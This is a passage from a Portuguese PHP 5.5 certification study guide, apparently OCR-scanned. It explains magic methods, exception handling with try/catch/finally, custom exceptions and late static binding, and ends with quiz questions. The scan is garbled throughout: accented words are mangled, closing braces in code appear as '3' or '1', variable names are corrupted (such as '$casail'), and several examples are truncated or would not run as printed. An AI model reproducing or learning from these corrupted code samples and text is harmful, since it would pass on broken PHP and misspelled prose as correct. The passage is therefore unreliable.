Quando uma propriedade invocada para definir seu valor nio existe, esse
método é executado.

Quando um membro nio é encontrado, isset éinvocado
utilizando as fungdes 1SSet() ou empty() para realizaressa
verificagio.

Quando declarado, esse método mégico fica responsavel por receber a

chamada quando a fungio unset () for utilizada e para membros
nao acessiveis.
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Quando é desejado confirmar alguns dados que estio pendentes para o

dee funcionamento da classe, para realizar limpezas de propriedades ja setadas,
—sieep ou lidar com objetos muito grandes, _sleep é 0 método que vocé

vai usar para este fim.

Quando utilizamos o método para serializar (no caso, Sleep ), em
alguns contextos podemos acabar perdendo uma conexao com o banco de

__wakeup dados. Caso seja necessério realizar o papel inverso (no caso, deserializar),
usamos ___wakeu P e, além disso, também poderiamos restabelecer a
conexio com o banco de dados.

E invocado, por exemplo, quando vocé tenta executar €ChO no objeto,
__toString o PHP vai converter para strings e, se sua classe contiver o método magico
__toString , seri exibido o contetido do método.

E invocado quando vocé tentar chamar um objeto como uma fungio, nio

invoke - pp
- confunda com as fun¢des que vocé cria ou os métodos.

_ clone Método invocado ao clonar o objeto com a palavra reservada clone

Esses sio os métodos magicos que sdo cobertos na certificagdo
PHP 5.5, porém existe mais um método magico adicionado a versdo
5.6 da linguagem. Ele ndo sera abordado aqui, pois o nosso foco é o
PHP 5.5. Para maiores informagoes sobre __ debugInfo , acesse a
documentagio oficial, em
http://php.net/manual/pt_BR/language.oop5.magic.php#object.deb
uginfo.

___construct

O método __construct ¢ébem usado, pois ¢ ele que utilizamos
para passar argumentos na constru¢io do nosso objeto.
Anteriormente, na versio 4 do PHP, usavamos o0 mesmo nome da
classe para fazer esse tipo de trabalho (assim como ¢ feito em Java),
porém, ap6s a implementagdo do método magico _ construct ,
foi caindo em desuso.

class Livro {

public function __construct($autor)

{

print $autor;

}
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Como podemos ver, estamos utilizando o __construct para
ser obrigatdria a passagem do parametro $autor .

$casaDoCodigo = new Livro('Martin Fowler');
Ao executarmos esse método, o resultado que obtemos é:

Martin Fowler

___destruct

Assim como possuimos um método para usar assim que
instanciamos um objeto, possuimos também um que é executado
assim que o objeto é destruido da memoria. Entretanto, repare que

esse ndo recebe nenhum argumento:
class Livro {

public function __construct()

{
print 'Objeto Livro criado';
}
public function __destruct()
{
print 'Objeto Livro destruido';
}

$livro = new Livro();
sleep(2);

A fungdo sleep nos ajudara a visualizar melhor em qual
momento o objeto foi destruido. Ao executarmos esse script, temos
o seguinte resultado:

Objeto Livro criado
Objeto Livro destruido // aparecera apos 2 segundos

Podemos também simular a destrui¢ao desse objeto pela fun¢ao
unset . Dessa vez, vamos destruir o objeto antes de o script
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terminar sua execugao:

$livro = new Livro(); Objeto Livro criado
sleep(1);

unset($livro); // Objeto Livro destruido
sleep(2);

Por meio desse exemplo, conseguimos definir exatamente em
qual momento o nosso objeto serd destruido. Apds instanciarmos a
classe Livro , é exibida a mensagem Objeto Livro criado e a
execucdo do script sera interrompida durante 1 segundo. Logo apds
esse 1 segundo, destruimos o objeto com a fungdo unset e a
mensagem Objeto Livro destruido ¢ exibida para nos.

E novamente utilizamos a funcdo sleep para interromper a
execugao do script por 2 segundos. Apos esse tempo, a execugdo do
script é finalizada.

Embora usamos __destruct em conjunto com a func¢io
sleep para destruir os objetos, devemos tomar cuidado, pois
nao conseguimos determinar em qual hora exatamente o
objeto sera limpo da memdria por meio do carbage
collector . Entretanto, o método _ destruct ¢ um lugar
excelente para se realizar operagdes de fechamento, como por
exemplo, conexdo com banco e dado ou streams.

__call

Pelo método __call , podemos acessar métodos sem declara-
los dentro da nossa classe. A cada chamada de um método
inexistente na classe ou ndo acessivel (método privados ou
protegidos), o PHP vai procurar pelo método __call e executd-lo.
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class Celular {

public function __call($method, array $args) {
print 'Método ' . $method . ' invocado';

Definimos uma classe apenas com o método magico __call, o
que significa que ndo importa o método que vamos chamar, pois
esse método sempre serd invocado. Veja que, no nosso exemplo,
tentamos invocar o método ligar . Uma vez que ele ndo existe na
nossa classe Celular ,o0método _ call éinvocado em seu lugar.

$motorola = new Celular();
$motorola->ligar();

O resultado que obtemos ao executar o script é a mensagem:
Método ligar invocado

Veja também que temos um segundo argumento no método
__call . Ele nos serve para receber todos os argumentos enviados
para o método invocado. Todos os parametros sdo colocados em
um array, e podemos iterar sobre esse array para pegar cada um
desses argumentos. A seguir, modificamos a nossa classe Celular
para que, além de exibir o método que foi invocado, exiba também
todos os argumentos passados através do foreach .
class Celular {

public function __call($method, array $argumentos) {

print 'Método ' . $method . ' invocado com os argumentos'

PHP_EOL;

foreach($argumentos as $argumento) {
print $argumento . PHP_EOL;

}
3
3
Vamos também mudar a utilizacdo da classe para definir o
numero do objeto Celular , invocando o método
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definirNumero .

$motorola = new Celular();
$motorola->definirNumero('(11) 1234-1234');

Agora podemos exibir o método invocado e também os
pardmetros passados:

Método definirNumero invocado com os argumentos
(11) 1234-1234

O método _ _call possui alguns detalhes em relagido aos
modificadores de acesso que veremos a seguir. Imagine que temos
um método na classe Celular chamado ligarTela , porém esse
método é protegido ( protected ), como mostra o exemplo:

class Celular {

protected function ligarTela($segundos)

{
print 'Ligando tela do celular por ' . $segundos . ' segun
dos"';
}
public function __call($metodo, array $argumentos) {
print 'Método ' . $method . ' invocado com os argumentos'
PHP_EOL ;

foreach($argumentos as $argumento) {
print $argumento . PHP_EOL;

}
3
3
Agora vamos invocar o método ligarTela , que acabamos de
criar:

$motorola = new Celular();
$motorola->ligarTela(2);

Qual a saida que teremos ao executar esse script?

Método ligarTela invocado com os argumentos
2
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O método call ¢ invocado. Isso ocorre pois o método
ligarTela ndo é acessivel através da instincia da classe Celular ,
e o mesmo ocorre com métodos privados. Lembre-se sempre de
que, se 0 método da classe ndo existir ou nao for acessivel, o método
__call serd invocado.

Da mesma forma que usamos o método __call , é possivel
utilizar o __callStatic . As diferengas entre esses métodos sdo

simples: 0o método __callStatic ¢é chamado no contexto estético,

e sua assinatura também deve ser estética.

class Carro {
public function __callStatic($metodo, $argumentos)

{

print 'Método invocado estaticamente :' . $metodo;

Carro::ligar();
Ao executarmos esse script, obtemos o seguinte resultado:

Método invocado estaticamente :ligar

__get

Como o préprio nome denuncia, o método __get ¢ usado para
retornar o valor de uma propriedade nao acessivel ou nao existente
de uma classe.

class Ventilador {

public function _ get($nome) {
print 'Tentativa de acessar a propriedade ' . $nome;

Como podemos ver, o método __get obrigatoriamente possui
0 parametro, pois é por ele que vamos saber qual propriedade
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tentaram acessar daquele objeto.

$ventilador = new Ventilador();
$ventilador->marca;

O resultado que obtemos ao executar o script é:

Tentativa de acessar a propriedade marca

__set

Como acabamos de ver, possuimos um método exclusivamente
para ser invocado quando uma propriedade ndo existente é
chamada. Também temos um método especificamente para ser
chamado caso tentem definir um valor a uma propriedade que néo é
acessivel ou inexistente. Isso nos da muita flexibilidade para
trabalhar com objetos para definir ou retornar valores.

No nosso exemplo a seguir, criamos uma classe Ventilador , e
definimos apenas o método __set para que seja possivel definir
qualquer propriedade dentro do objeto, sem que ela de fato exista.

class Ventilador {
public function __set($nome, $valor) {

print 'Tentativa de definir o valor da propriedade ' . $no
me . ' com o valor ' . $valor;

}
3

$ventilador = new Ventilador();
$ventilador->preco = 90.00;

E o resultado que obtemos é:

Tentativa de definir o valor da propriedade preco com o valor 90

__isset

Quando uma propriedade ndo é encontrada utilizando as
fungées isset ou empty , o método magico _ isset ¢
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invocado. Veja o nosso exemplo adiante, em que usamos a classe
Colecao simplesmente para armazenar as propriedades e valores
dentro do array $dados :

class Colecao

{
private $dados = [];
public function __set($nome, $valor)
{
echo "Atribuindo o indice '$nome' com o valor '$valor'";
$this->dados[$nome] = $valor;
1
1

$obj = new Colecao;

$obj->a = 1;
echo $obj->a; // 1
Agora que ja temos a nossa classe funcionando, vamos
implementar o método __isset . Com isso, toda vez que
utilizarmos a fungdo isset ou empty , serd invocado o método
__isset , nos permitindo assim realizar a verificagdo se a

propriedade acessada existe no nosso array $dados

class Colecao

{
private $dados = [];
public function __set($nome, $valor)
{
echo "Atribuindo o indice '$nome' com o valor '$valor'";
$this->dados[$nome] = $valor;
}
public function __isset($name)
{
echo "Verifica se '$name' foi setado?";
return array_key_exists($name, $this->dados);
}
}
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$obj = new Colecao();
$obj->a = 1;
$propriedadeA = isset($obj->a);
var_dump($propriedadeA);

Ao executarmos o script, temos o seguinte resultado:
Atribuindo o indice 'a' com o valor '1'
Verifica se 'a' foi setado? bool(true)

Vamos por partes para facilitar o entendimento. A primeira
coisa que fazemos aqui é criar um objeto Colecao e atribuirmos a
propriedade a o valor 1 .Como a propriedade a néo existe, o
método __set éinvocado e, dessa forma, armazenamos o nome da

propriedade invocada ( a ) e o seu valor ( 1 ) no array $dados .

Apos isso, usamos a fungdo isset para verificar se realmente a
propriedade existe. Fazendo isso, o método __isset ¢ invocado e
verificamos se a propriedade a existe no nosso array $dados pela
funcdo array_key_exists . Como ela foi definida anteriormente
com o valor 1, é retornado verdadeiro ( true ), e atribuimos esse
valor a variavel $propriedadeA .

Por dltimo, apenas exibimos o valor da propriedade
$propriedadeA com afuncdo var_dump .

Utilizamos a fun¢do isset em nosso exemplo, mas se
alterarmos para a fungdo empty , obtemos o mesmo resultado.

__unset

Podemos utilizar o método magico __unset para remover

248 8.8 METODOS MAGICOS



propriedades definidas com o método magico __set . Para tornar
mais facil o entendimento, continuaremos com a nossa classe
Colecao que usamos na se¢do anterior.

S6 vamos fazer uma pequena modificacdo nela para usarmos o
método __unset , e vamos remover o método __isset . Veja
como nossa classe Colecao ficara:

class Colecao

{
private $dados = [];
public function __set($nome, $valor)
{
$this->dados[$nome] = $valor;
}
public function __unset($nome)
{
// Remove a propriedade somente se ela existir no array $d
ados
if (array_key_exists($nome, $this->dados)) {
unset ($this->dados[$nome]);
}
}
}

A primeira coisa que vamos fazer para entender o método
__unset é definir algumas propriedades. Vamos criar duas delas: a
propriedade b ea propriedade c , ambas com o valor 1 .

$obj = new Colecao;

$obj->b = 1;
$obj->c = 1;

print_r($obj);
Ao executar esse script, temos o seguinte resultado:

Colecao Object (
[dados:Colecao:private] => Array

(
[b] => 1
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[c] => 1

Com as nossas propriedades definidas, podemos agora remové-
las por meio da fungdo unset . Ao utilizarmos essa funcéo,
invocamos automaticamente o método __unset dentro da classe

Colecao .
unset($obj->b);
print_r($obj);

Removendo a propriedade b , restou-nos apenas a c , e
comprovamos isso exibindo todo o objeto Colecao com a fun¢ao

print_r .
Removendo a propriedade b

Colecao Object
(

[dados:Colecao:private] => Array

(
[c] => 1

)

sleep e wakeup

O __sleep eo __wakeup sao métodos especialmente para se
trabalhar com serializagdo do seu objeto. Quando a funcdo
serialize do PHP é chamada no objeto, o método _ sleep ¢é
invocado se existente na classe. O mesmo ocorre com o método
__wakeup quando a fun¢do unserialize ¢éinvocada.
class Serializar {

public function __sleep()

{

print 'Método invocado ao usar a funcdo serialize';

return [];
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serialize(new Serializar());

7

A primeira coisa que devemos fazer é criar o nosso método
__sleep na classe, e obrigatoriamente devemos retornar um valor
do tipo array; caso contrario, o seguinte NOTICE sera exibido:
Notice: serialize(): __sleep should return an array only containi
ng the names of instance-variables to serialize in /zce/oop/__slee
p.php on line 13
PHP Stack trace:

PHP 1. {main}() /zce/oop/__sleep.php:0
PHP 2. serialize() /zce/oop/__sleep.php:13

Executando esse cddigo, sera exibida a seguinte mensagem:
Método invocado ao usar a fungdo serialize

Uma vez serializado, podemos também retornar o estado do
objeto utilizando a fun¢do unserialize . Vamos alterar a nossa

classe que usamos como exemplo para isso:
class Serializar {

public function __wakeup()

{

print 'método invocado ao usar a funcdo unserialize';

$objetoSerializado = serialize(new Serializar());

unserialize($objetoSerializado);

Ao contrario do método __sleep , ndo precisamos retornar
nenhum valor ao implementar o método __wakeup . A unica coisa
que precisamos ter certeza antes de utilizar a fun¢do unserialize
¢ de invocar o método serialize primeiro; caso contrario, o
seguinte WARNING sera exibido:

PHP Warning: wunserialize() expects parameter 1 to be string, obje
ct given in /zce/oop/__serialize.php on line 13
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PHP Stack trace:
PHP 1. {main}() /zce/oop/__serialize.php:0
PHP 2. unserialize() /zce/oop/__serialize.php:13
Se vocé executou esse cddigo, viu que usamos a fungdo
serialize antes de invocar a fun¢do unserialize . Sendo assim,

o seguinte resultado sera exibido:

método invocado ao usar a funcdo unserialize

__toString

Para entendermos o método __toString , vamos primeiro
imaginar o seguinte cendrio: vocé possui uma classe Livro com
algumas propriedades publicas, como $nome e $autor .
class Livro {

public $nome;
public $autor;

E deseja imprimir os valores e propriedades existentes
utilizando echo ou print .

$zcpe = new Livro();
print $zcpe;

Porém, ao executarmos o cddigo, obtemos um FATAL ERROR ,
dizendo que ndo podemos converter um objeto para uma string:
PHP Catchable fatal error: Object of class Livro could not be con
verted to string in /zce/oop/to_string.php on line 6

PHP Stack trace:
PHP 1. {main}() /zce/oop/to_string.php:0

Catchable fatal error: Object of class Livro could not be converte
d to string in /zce/oop/to_string.php on line 6

Call Stack:
0.0001 230688 1. {main}() /zce/oop/to_string.php:0

Para que isso funcione, devemos implementar o método magico
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__toString em nossa classe, que nos da a possibilidade de exibir o
que desejarmos do objeto por meio de uma string.
class Livro {

public $nome;
public $autor;

public function __toString()
{

return 'nome: ' . $this->nome . ' autor: ' . $this->autor;

Perceba que, ao implementarmos o método, podemos definir
como o objeto sera exibido. No nosso caso, apenas estamos exibindo
os valores da instancia.

__invoke
Através do método __invoke , podemos tratar objetos como
fungoes.

class Computador {
public function __invoke()

{

print 'Método __invoke executado';

Implementando esse método, é possivel usar nosso objeto com a
mesma sintaxe que uma fungao:

$computador = new Computador();

$computador(); // invocando o objeto com uma fungao
Ao executar o cddigo, temos o seguinte resultado:

Método __invoke executado

Podemos também passar argumentos, além de executar nosso
objeto como fun¢do. Vamos modificar a nossa classe. Para isso,
utilizaremos func_get_args , que nos retorna todos os parametros
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passados para uma fungdo, e percorreremos parametro por
pardmetro através do foreach para exibi-los.

class Computador {
public function __invoke()

{
print 'Método __invoke executado';
foreach (func_get_args() as $parametro) {
print 'parametro : ' . $parametro;
}
}

Apés essa pequena modificagdo, podemos agora resgatar
qualquer parametro passado:

$computador = new Computador();

$computador (1, 2, 'terceiro parametro');
Ao executar esse script, obtemos o seguinte resultado:

Método __invoke executado
parametro : 1

parametro : 2

parametro : terceiro parametro

Se vocé preferir, também pode fixar o numero exato de
argumentos desejados. A seguir, vamos alterar a nossa classe
Computador para aceitar apenas dois argumentos: $nome e
$marca .

class Computador {
public function __invoke($nome, $marca)

{

print 'Método __invoke executado';

print 'nome : ' . $nome . ' marca: ' . $marca;

Escolhendo esse tipo de sintaxe, torna-se obrigatdrio a passagem
dos parametros, assim como em um método ou em uma funcio
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normal.
$computador = new Computador();

$computador ('Computadorl', 'Asus');

__clone

O método magico __clone ¢ unicamente usado ao tentarmos

clonar um objeto com a palavra reservada clone . Caso o método

__clone existir dentro da classe, ele sera executado; caso
contrario, sera apenas ignorado.

class Casa {
public $numero;

$casal = new Casa();
$casa2 = clone $casail;

Nesse exemplo, ndo estamos utilizando nenhum método magico
e, mesmo assim, conseguimos clonar nosso objeto, o que ¢
perfeitamente vélido. Temos dois objetos iguais até o momento.

var_dump($casal == $casa2); // bool(true)

Os objetos sdo iguais, pois ndo alteramos nenhuma propriedade
dentro deles. Vamos entéo alterar o numero do objeto $casal e da
$casa2 .

$casal->numero = 123;
$casa2->numero = 456;

var_dump($casal == $casa2); // bool(false)

Agora, obtemos false ao tentar comparar os objetos $casal
e $casa2 , pois esses objetos possuem valores diferentes. Porém,
vamos imaginar que vamos utilizar a classe Endereco junto com a

classe Casa para deixar mais elegante o nosso cddigo.

class Endereco {
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public $rua;
public $numero;

Faremos uma pequena modificagdo na nossa classe Casa para
usar a classe Endereco . Vamos instanciar um novo objeto
Endereco no método construtor da classe Casa .
class Casa {

public $cor;
public $endereco;

public function __construct()

{

$this->endereco = new Endereco();

Agora que ja temos os dois objetos, vamos entdo clona-los:

$casal = new Casa();
$casa2 = clone $casail;

var_dump($casal == $casa2); // bool (true)

Nada de novidade, certo? Apenas clonamos a classe Casa e,
comparando os dois objetos, temos como resposta verdadeiro. No
préximo exemplo, tente analisar com mais cuidado:

$casal = new Casa();
$casal->endereco->rua = 'Av. Sdo Paulo';

$casa2 = clone $casail;
$casa2->endereco->rua = 'Av. Brasil';

var_dump($casal == $casa2); // bool (true)

Vocé consegue entender por que mesmo alterando a
propriedade $rua do objeto Endereco continuamos obtendo
verdadeiro como resposta?

Isso ocorre porque em PHP temos o tipo de clonagem "raza“, no
qual os objetos dentro de outros objetos nao sao clonados. O que
acontece ¢ que o objeto que realiza a clonagem (em nosso caso, a
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varidvel $casa2 ) continua apontando para o objeto Endereco na

variavel $casail .

7

Agora que ja entendemos o problema, ¢ necessario entender
como podemos resolver isso. No nosso caso, vamos forcar a
clonagem dos objetos internos da nossa classe por meio do método
madgico __clone .
class Casa {

public $cor;
public $endereco;

public function __construct()

{
$this->endereco = new Endereco();
1
public function __clone()
{
$this->endereco = clone $this->endereco;
1
1
Com a adi¢do do método magico _ clone em nossa classe

Casa , forgamos a clonagem do objeto Endereco na propriedade
$endereco .

$casal = new Casa();
$casal->endereco->rua = 'Av. Sdo Paulo';

$casa2 = clone $casail;
$casa2->endereco->rua = 'Av. Brasil';

var_dump($casal == $casa2); // bool (false)

Agora sim temos o resultado esperado ao compararmos o
objetos $casal com o objeto $casa2 . E muito importante
lembrar desse conceito, pois é um motivo de pegadinha nas
perguntas da prova de certificagdo. Apenas tente fixar que o PHP,
por padrdo, faz uma clonagem "raza" (shallow) e, para alterar esse
comportamento, devemos utilizar o método magico __clone .
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E importante notar que a implementacdo dos métodos magicos
dentro de uma classe ndo ¢ obrigatéria. Todos serdo
executados de acordo com o cendrio a que eles se propdem e
somente se forem implementados; caso contrario, o PHP
apenas ignorara esses métodos e seguirda com sua execugao

normal.

8.9 EXCECOES TRY/CATCH

Em programagio, ha casos em que, dependendo da nossa
verificagdo, decidimos nao retornar um valor, por exemplo, um
booleano. As vezes, queremos apenas desviar a execu¢do do nosso
script se algo nao for do modo que estamos esperando, como por
exemplo, uma verificagio logica (1 == 2).

Figura 8.1: Fluxo de execugdo e tratamento de excegoes
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Repare que, no nosso fluxo, o processo 3 s6 sera executado caso
uma excecdo seja lancada; caso contrdrio, a execugdo seguira
normalmente através do fluxo 1 e 2.

Felizmente, o PHP possui o lancamento de exceg¢des, que nos
permite desviar o fluxo de execugdo do nosso script do modo que
desejarmos. Para criar sua primeira exce¢do, vocé deverd utilizar a
palavra reservada throw em seu codigo.

function numeroMaior($primeiroNumero = 0, $segundoNumero = 0) {
if ($primeiroNumero > $segundoNumero) {
throw new Exception('O primeiro numero é maior que o segun
do');
}

return true;

numeroMaior (2, 1);
Ao executarmos o script, temos a nossa exce¢do lancada:

PHP Fatal error: Uncaught exception 'Exception' with message 'O p
rimeiro numero é maior que o segundo' in /zce/excecao.php:5
Stack trace:
#0 /zce/excecao.php(11l): numeroMaiores(2, 1)
#1 {main}
thrown in /zce/excecao.php on line 5

Fatal error: Uncaught exception 'Exception' with message 'O primei
ro nimero é maior que o segundo' in /zce/excecao.php on line 5

Exception: O primeiro numero é maior que o segundo in /zce/excecao
.php on line 5

Call Stack:
0.0002 232432 1. {main}() /zce/excecao.php:0
0.0002 232560 2. numeroMaiores() /zce/excecao.php:11

Esse é o comportamento padrdo do PHP: ao se deparar com
uma exce¢do que ndo ¢ tratada, um erro fatal é exibido, e o script
tem sua execugdo terminada. Em muitos casos, inclusive no nosso,
ndo vamos querer que seja exibido um FATAL ERROR para o
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usudrio. Para isso, precisamos utilizar o tratamento de excegdes
através do bloco try e catch.

Por meio desse tratamento, conseguimos "pegar” essa exce¢do
langada pelo script e tratd-la de uma maneira elegante para o nosso
usuario, sem terminar o script com um erro fatal.

try {

} catch (Exception $excecao) {
3

Veja a sintaxe usada para utilizarmos o bloco try e catch .
Dentro do bloco try , é onde devemos colocar o nosso fluxo
principal do script e, dentro do bloco catch , é onde devemos
tratar a excegdo, caso ela seja langada.

Vamos para um novo exemplo utilizando a mesma fungio que
usamos anteriormente:
try {

numeroMaior (2, 1);

} catch (Exception $excecao) {
print $excecao->getMessage();

Agora, executando novamente o nosso script, temos uma saida
muito mais elegante e sem erros fatais exibidos para o usuario:

0 primeiro numero é maior que o segundo

Note que, dentro do bloco catch , estamos esperando um
objeto do tipo Exception . E é através desse objeto que podemos
acessar diversos métodos para descobrir qual exce¢ao foi langada,
qual a mensagem cédigo etc.
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Veja a classe Exception em detalhes na documentagdo do PHP,
em
http://php.net/manual/pt_BR/language.exceptions.extending.p
hp

Além de tratarmos nossas excegdes no bloco catch , podemos
especificar qual excecdo queremos tratar. Vamos modificar o nosso
script para que lance duas excecoes diferentes:

function numeroMaior($primeiroNumero = 0, $segundoNumero = 0) {
if ($primeiroNumero > $segundoNumero) {
throw new Exception(
'0 primeiro numero € maior que o segundo'

);

}
if ($primeiroNumero === $segundoNumero) {
throw new InvalidArgumentException(
'0s numeros ndo devem ser iguais'
)i
}
return true;
}
Temos agora uma fun¢do que lanca dois tipos de excecdes
diferentes:
try {

numeroMaior (1, 1);
} catch (Exception $excecao) {
print $excecao->getMessage();

Perceba que temos uma classe genérica de excegdo, que é a
Exception . Ou seja, todas as classes de exce¢ao herdam da classe
Exception , o que torna muito facil o tratamento de excegdes,

como vimos no exemplo anterior. Perceba que o tipo de exce¢do
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lancada é de um argumento invalido

InvalidArgumentException , porém no bloco catch usamos a
classe genérica Exception para tratar qualquer exce¢do lancada
dentro do bloco try .

Com isso, temos o seguinte resultado apos executar o script:
0s numeros n&o devem ser iguais

Vamos agora dificultar um pouco as coisas. Com excegoes,
vimos que podemos lancar varias de qualquer tipo e tratd-las pelo
bloco catch com aclasse Exception . Mas e se quisermos aplicar
um tratamento diferente dependendo da excegdo lancada? Com o
PHP, é possivel aninhar diversos blocos catch .

try {
numeroMaior (1, 1);

} catch (InvalidArgumentException $excecao) {

print 'Argumento invalido ' . $excecao->getMessage();
} catch (Exception $excecao) {
print 'Tratamento genérico: ' . $excecao->getMessage();

Como mostra o exemplo, podemos especificar diferentes tipos
de tratamentos para determinadas exce¢des. Além disso, é possivel
definir um tratamento genérico com a classe Exception caso
nenhum tratamento seja aplicado para uma excegao especifica. Ao
executarmos o script, temos o seguinte resultado:

Argumento invalido O primeiro numero é maior que o segundo

Mas, além do tratamento especifico ou genérico, temos uma
regra muito importante sobre excegdes, que é a ordem em que elas
sdo tratadas:

262 8.9 EXCECOES TRY/CATCH



Sera executado o bloco catch pela primeira classe que
satisfazer a exce¢do que foi lancada.

Vamos tomar como base o exemplo anterior que executa o
bloco catch e espera uma excecdo do tipo
InvalidArgumentException . Atente-se a seguinte parte:

} catch (InvalidArgumentException $excecao) {

print 'Argumento invalido ' . $excecao->getMessage();
} catch (Exception $excecao) {
print 'Tratamento genérico: ' . $excecao->getMessage();

E se invertermos os blocos catch ?

} catch (Exception $excecao) {

print 'Tratamento genérico: ' . $excecao->getMessage();
} catch (InvalidArgumentException $excecao) {
print 'Argumento invalido ' . $excecao->getMessage();

Qual seria a saida ao executarmos novamente o c6digo?

Dessa vez, temos um resultado diferente:

Tratamento genérico: 0s numeros ndo devem ser iguais

Isso ocorre porque o PHP ndo tem tratamento em cascata de
excegdes, ou seja, o primeiro catch que satisfazer sua condigao
serd executado.

8.10 FINALLY

No PHP 5.5, tivemos a introdu¢cdo de uma nova palavra
reservada para trabalhar com excegdo, chamada finally . Com
essa nova funcionalidade, podemos garantir a execu¢ao do cédigo
dentro do bloco finally , independentemente se uma excegdo é
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langada ou nao.

try {
// Fluxo normal

} catch (Exception $excecao) {
// Tratamento de excecdo
} finally {
// Obrigatdériamente executa esse bloco

3

Vamos para o nosso primeiro exemplo, que sera forgar o
langamento de uma exce¢ao:

try {

throw new Exception('Excecdo lancada');
} catch (Exception $excecao) {

print $excecao->getMessage();
} finally {

print 'Bloco finally executado';

3
Ao executarmos esse script, temos o seguinte resultado:

Excecdo lancada
Bloco finally executado

A execu¢ao do bloco finally ¢é feita mesmo que uma exce¢ao
ndo seja langada:

try {
print 'Execug¢do normal';

} catch (Exception $excecao) {
print $excecao->getMessage();

} finally {
print 'Bloco finally executado';

}
O que nos gera o seguinte resultado:

Execug¢do normal
Bloco finally executado

8.11 CRIANDO SUA EXCECAO

Até agora, s6 usamos excegdes que o PHP nos fornece por
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padrao, mas também podemos criar a nossa propria exce¢do para
utilizarmos. A seguir, temos uma imagem de como é a hierarquia de
exce¢des do PHP.

Figura 8.2: Hierarquia de exce¢des do PHP

A classe base de todas as excecOes é a Exception . Para
criarmos a nossa propria excecao, basta estendé-la.

class NumeroInvalido extends Exception {}
Com isso, ja temos a nossa prépria exce¢ao para utilizar:

function lancarExcecao($numero)
{
if (!is_numeric($numero)) {
throw new NumeroInvalido(
'Variavel $numero ndo é do tipo numérico'

);
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Como as outras excecgoes, podemos tratar a nossa

normalmente:

try {
lancarExcecao( 'string');

} catch (NumeroInvalido $excecao) {
print $excecao->getMessage();

excecao

}

E se executarmos o script, temos o seguinte resultado:

Variavel $numero ndo é do tipo numérico

O PHP ja nos fornece algumas classes de excegdes para utilizar

em nosso codigo. Vocé pode visualizar na tabela a seguir as classes
existentes no momento da escrita deste livro. Provavelmente, de
acordo com a evolugio da linguagem, novas classes vao ser

adicionadas.

BadFunctionCallException - Deve ser utilizada
quando ¢é feita uma chamada a uma fungdo/argumento
indefinido.

BadMethodCallException - Deve ser utilizada
quando é feita uma chamada a um método indefinido.
DomainException — Deve ser utilizada quando o valor
de dominio esperado ndo atendido, por exemplo,
quando vocé espera uma imagem do tipo .jpeg e
recebe uma do tipo .png , ou quando vocé espera um
e-mail de dominio @casadocodigo e recebe um
@gmail .

InvalidArgumentException - Deve ser utilizada
quando o valor do argumento esperado ndo for o
correto.

LengthException - Deve ser utilizada quando o
tamanho recebido for maior do que o esperado, por
exemplo, o0 nome de uma pessoa. Vocé estd esperando
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um nome de, no maximo, 30 caracteres, mas ¢ enviado
um com 40.

e LogicException - Deve ser utilizada quando a légica
necessdria ndo é satisfeita

e OutofBoundsException - Utilizada quando os erros
ndo podem ser detectados no momento de compilagio,
como por exemplo, um nimero inteiro muito grande.

e oOutOfRangeException - Deve ser utilizada quando o
range desejado ndo é satisfeito, como tentar acessar
uma chave nao existente em um array.

e oOverflowException - Deve ser utilizada quando niao
¢ mais possivel adicionar itens a um container cheio. Se
vocé tiver uma lista que s aceita 30 itens e tentarem
adicionar mais um, essa excecao deve ser utilizada.

e RangeException - Deve ser utilizada quando o range
esperado ndo ¢ atingido.

e RuntimeException - Deve ser utilizada quando erros
sdo encontrados durante a execugdo do programa.

e UnderflowException - Deve ser utilizada quando
tentam manipular um container vazio (o contrario da
excecdo OverflowException ).

e UnexpectedvalueException - Em vez de ser o
argumento invalido como a excegdo

InvalidArgumentException , essa excecdo deve ser
usada quando o valor esperado ndo é fornecido.

8.12 LATE STATIC BINDING E SELF

Antes de descobrirmos o que ¢ Late static binding, devemos
primeiramente entender o que é a palavra reservada self e quais
as suas limitagoes.

Usamos a palavra reservada self para nos referir ao contexto
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estatico, assim como $this ¢ utilizado para se referir a instancia.
Vamos a um exemplo para ficar mais claro:

class A
{
public static function quem()
{
print _ CLASS__;
}
public static function teste()
{
self::quem();
}

class B extends A {
public static function quem() {
echo __CLASS__;

B::teste();

Esse exemplo nos mostra duas classes: a classe A e a classe B,
que estende a classe A , e dois métodos estaticos na classe A . Na
classe B , temos um unico método que sobrescreve o método da
classe A .

Tente analisar o cddigo por alguns minutos, e depois prossiga
para a explicagao.

Normalmente, pensariamos que a resposta para esse cddigo ao
ser executaria seria exibir o nome da classe B , porém o que é
exibido é o nome da classe A (recomendo que tente executar esse
cdédigo no seu computador). Mas, afinal, por que isso ocorre?

A resposta é muito simples e pratica. Em PHP, temos o contexto
self que se refere ao contexto da classe em que o método ou
propriedade foi definido, e nao na classe que o estd invocando. Ou
seja, em nosso exemplo, quem estd invocando o método ¢ a classe
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B, porém o método teste estd definido na classe A que, por sua
vez, invoca o método de quem utiliza a palavra reservada self
para se referir a sua propria classe (ou seja, a classe A ).

Agora que entendemos o comportamento estatico, podemos
desvendar o que ¢é esse tal de late static binding. Esse nome bonito

nada mais é do que se referir a classe que estd invocando a
propriedade ou método em vez de onde eles foram definidos.

class A
{
public static function quem()
{
print _ CLASS__;
}
public static function teste()
{
static::quem(); // Utilizando o late static binding
}

}

class B extends A {
public static function quem() {
echo __CLASS__;

}
3

B::teste();

Alterando o nosso script de self para static , conseguimos
ter o resultado esperado. Ao executar o script, é exibido o nome da
classe B, endomais A .

Na documentagao oficial da linguagem, vocé encontra um
tépico apenas sobre late static binding, que pode ser conferido
em  http://php.net/manual/pt_BR/language.oop5.late-static-
bindings.php.
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8.13 TESTE SEU CONHECIMENTO

1) Qual é a saida do codigo?

abstract class myBaseClass {
abstract protected function doSomething();
function threeDots() {
return '..."';

3
3

class myBaseA extends myBaseClass {
protected function doSomething(); {
echo $this->threeDots();

}
}

$a = new myClassA();
$a->doSomething();

a)

b) Erro de Parser

c) Erro Fatal

d) Nenhuma das anteriores

2) Qual é a sintaxe correta para definir uma constante de
classe para a classe MyClass ?

a) const $NAME="value";
b) Define("MyClass::NAME", "value");
c) const NAME="value";
d) static final $NAME='value';
3) Qual é a saida do cdédigo?
class Magic {
public $a = "A";
protected $b = array(llall = IlAlI, Ilbll = "B", "C" => IICII);

protected $c = array(1, 2, 3);

public function _ _get($v) {
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echo "$v";
return $this->b[$v];

public function __ set($var, $val) {
echo "$var: $val";
$this->$var = $val;

1
1
$m = new Magic();
echo $m->a.",".$m->b.",".$m->c.",";
$m->c = "cC";
echo $m->a.",".$m->b.",".$m->c;

a) A, Array, Array, A, Array, Array, CC
b) b, ¢, A, B, C, c: CC, b, ¢, A B, C
